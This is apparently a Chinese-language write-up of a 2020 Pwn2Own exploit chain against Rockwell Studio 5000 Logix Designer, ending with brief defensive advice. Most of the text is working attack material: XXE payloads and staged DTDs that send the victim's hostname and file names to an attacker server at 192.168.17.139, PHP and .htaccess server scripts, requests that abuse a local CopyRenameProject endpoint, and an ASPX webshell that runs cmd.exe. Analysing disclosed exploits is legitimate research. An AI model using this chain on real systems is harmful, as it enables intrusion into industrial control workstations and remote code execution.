Pwn2Own -> Xxe2Rce
字数 1549 2025-08-15 21:31:40
Rockwell Studio 5000 Logix Designer XXE到RCE漏洞利用链分析
漏洞概述
本文详细分析2020年ICS Pwn2Own比赛中针对Rockwell Studio 5000 Logix Designer软件的漏洞利用链。该链由6个关键原语和一个被多次滥用的XXE漏洞组成,最终实现远程代码执行。
利用链组成
- 主机名泄漏 (Hostname leak)
- 任意文件夹删除 (Arbitrary folder deletion)
- 任意文件夹创建 (Arbitrary folder creation)
- 扩展名可控的文件创建 (File creation with uncontrolled filename/location but controlled extension)
- 文件名泄漏 (Filename leak)
- 文件移动 (File move)
攻击前提条件
- 受害者必须打开恶意项目文件
- 目标系统需安装Rockwell相关软件,包括本地Web服务器
漏洞利用详细步骤
1. 确定可利用的文件格式
使用NirSoft的FileTypesMan工具或观察文件选择器下拉列表,发现软件支持.xml和.aml扩展名的文件。通过创建纯xxe.xml文件测试,确认打开这些文件时会触发HTTP请求。
2. XXE漏洞利用
第一个原语是XXE漏洞,可以通过file://协议请求网络资源,将文件写入系统的WebDAV缓存文件夹:
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
Windows处理file://协议时会:
- 首先尝试通过SMB端口445读取文件
- 如果失败且WebClient服务运行(Windows非服务器版默认开启),则尝试通过WebDAV端口80获取资源
测试Payload示例:
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY % sp SYSTEM "http://192.168.17.139/download.dtd">
%sp;%trigger;%download;
]>
外部DTD示例:
<!ENTITY % webshell SYSTEM "file://192.168.17.139/webdav/shell.aspx">
<!ENTITY % trigger "<!ENTITY % download SYSTEM 'http://192.168.17.139/?%webshell;'>">
3. 利用本地HTTP服务器端点
发现本地HTTP服务器的CopyRenameProject端点可被滥用:
http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject
&HMIProjectName=SourceFolder // 源文件夹内容将被移动
&NewProjectName=DestFolder // 目标文件夹将包含源文件夹内容
&NewComputerLocation=Hostname // 可以是本地或远程系统
4. 清空WebDAV缓存
通过以下请求清空缓存文件夹:
http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject
&HMIProjectName=Windows/ServiceProfiles/LocalService/AppData/Local/Temp/TfsStore/Tfs_DAV/
&NewProjectName=cacheTrash
&NewComputerLocation=EWS
5. 泄漏Webshell文件名
触发Webshell下载后,通过以下请求泄漏文件名:
http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject
&HMIProjectName=Windows/ServiceProfiles/LocalService/AppData/Local/Temp/TfsStore/Tfs_DAV/
&NewProjectName=hax
&NewComputerLocation=192.168.17.139
6. 移动Webshell到webroot
将Webshell复制到webroot:
http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject
&HMIProjectName=Windows/ServiceProfiles/LocalService/AppData/Local/Temp/TfsStore/Tfs_DAV/
&NewProjectName=. // webroot
&NewComputerLocation=EWS
完整利用流程
恶意项目文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % stage1 SYSTEM "http://192.168.17.139/stage1.dtd">
<!ENTITY % stage2 SYSTEM "http://192.168.17.139/stage2.php">
%stage1;
%one;
%two;
%stage2;
%three;
%four;
]>
stage1.dtd - 泄漏主机名
<!ENTITY % hostname SYSTEM "http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?Version">
<!ENTITY % one "<!ENTITY % two SYSTEM 'http://192.168.17.139/leak-hostname.php?hostname=%hostname;'>">
leak-hostname.php
<?php
preg_match('/(Computer:<br>)/', urldecode($_GET['hostname']), $matches);
$hostname = $matches[2];
file_put_contents("host-name.txt", $hostname);
?>
stage2.php - 主利用逻辑
<?php
$davCache = "Windows/ServiceProfiles/LocalService/AppData/Local/Temp/TfsStore/Tfs_DAV/";
$hostname = file_get_contents("host-name.txt");
// 清空DAV缓存
$xml = "<!ENTITY % clearCache SYSTEM \"http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject&HMIProjectName=$davCache&NewProjectName=cacheTrash&NewComputerLocation=$hostname\">\n";
// 在DAV缓存中创建webshell
$xml .= "<!ENTITY % downloadWebshell SYSTEM \"file://192.168.17.139/webdav/shell.aspx\">\n";
// 泄漏webshell文件名
$xml .= "<!ENTITY % leakFileName SYSTEM \"http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject&HMIProjectName=$davCache&NewProjectName=hax&NewComputerLocation=192.168.17.139\">\n";
// 将webshell移动到受害者webroot
$xml .= "<!ENTITY % copyShellToWebRoot SYSTEM \"http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject&HMIProjectName=$davCache&NewProjectName=.&NewComputerLocation=$hostname\">\n";
// 存储webshell文件名
$xml .= "<!ENTITY % fileName SYSTEM \"http://192.168.17.139/file-name.txt\">\n";
// 执行所有操作
$xml .= "<!ENTITY % three \"<!ENTITY % four SYSTEM 'http://127.0.0.1/%clearCache;%downloadWebshell;%leakFileName;%copyShellToWebRoot;RSViewSE/%fileName;'>\">\n";
print $xml;
?>
Webshell (shell.aspx)
<html>
<script language="CSharp" runat="server">
void pwn(Object Src, EventArgs E) {
System.Diagnostics.Process.Start("cmd.exe","/C mspaint");
}
</script>
<body>
<form runat="server">
<asp:button text="carnage" OnLoad="pwn" runat="server"/>
</form>
</body>
</html>
服务器配置要点
- 使用Apache在同一端口上运行WebDAV和HTTP服务
.htaccess配置:
RewriteEngine On
RewriteRule (.*{.*) rockwell.php
RewriteRule (.*HMI_ISAPI.DLL.*) rockwell-200.php
rockwell.php- 处理文件名泄漏:
<?php
header("HTTP/1.0 100 Incite Team");
$filename = urldecode(basename($_SERVER['REQUEST_URI'] ?? $_SERVER['QUERY_STRING']));
$extension = strtolower(pathinfo($filename)['extension']);
if (strcmp($extension, "aspx") == 0) {
file_put_contents("file-name.txt", $filename);
}
?>
rockwell-200.php- 标准Rockwell响应:
<html><head><title>Default MFC Web Server Extension</title></head><body>S_OK</body></html>
技术挑战与解决方案
-
一次性XXE但需要两个动态值:主机名和Webshell文件名
- 分阶段处理:先获取主机名,再获取文件名
- 使用中间文件存储动态值(host-name.txt和file-name.txt)
-
Webshell内容限制:
- 不能包含%字符(会导致DTD解析错误)
- 使用C#脚本实现代码执行,避免特殊字符
-
文件移动操作:
- 需要精确控制源路径和目标路径
- 利用本地HTTP服务器的特殊端点实现文件操作
防御建议
- 禁用XML外部实体解析
- 限制本地HTTP服务器的访问权限
- 对文件操作API实施严格的权限控制
- 更新软件到已修复漏洞的版本
- 监控异常的文件系统操作(特别是WebDAV缓存目录)
此漏洞利用链展示了如何通过组合多个看似较小的漏洞实现强大的攻击效果,强调了纵深防御的重要性。